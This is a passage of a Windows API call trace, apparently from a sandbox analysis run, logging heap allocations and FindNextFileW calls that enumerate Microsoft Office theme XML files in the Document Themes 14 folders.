ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="")) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62b90 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80ee0 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="")) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62bb0 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa80fe8 [0072.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.420] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="")) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62bd0 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa810f0 [0072.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.420] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa62bf0 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa811f8 [0072.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.421] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.421] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.422] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0072.422] GetLastError () returned 0x12 [0072.422] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0072.422] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0072.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0072.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: 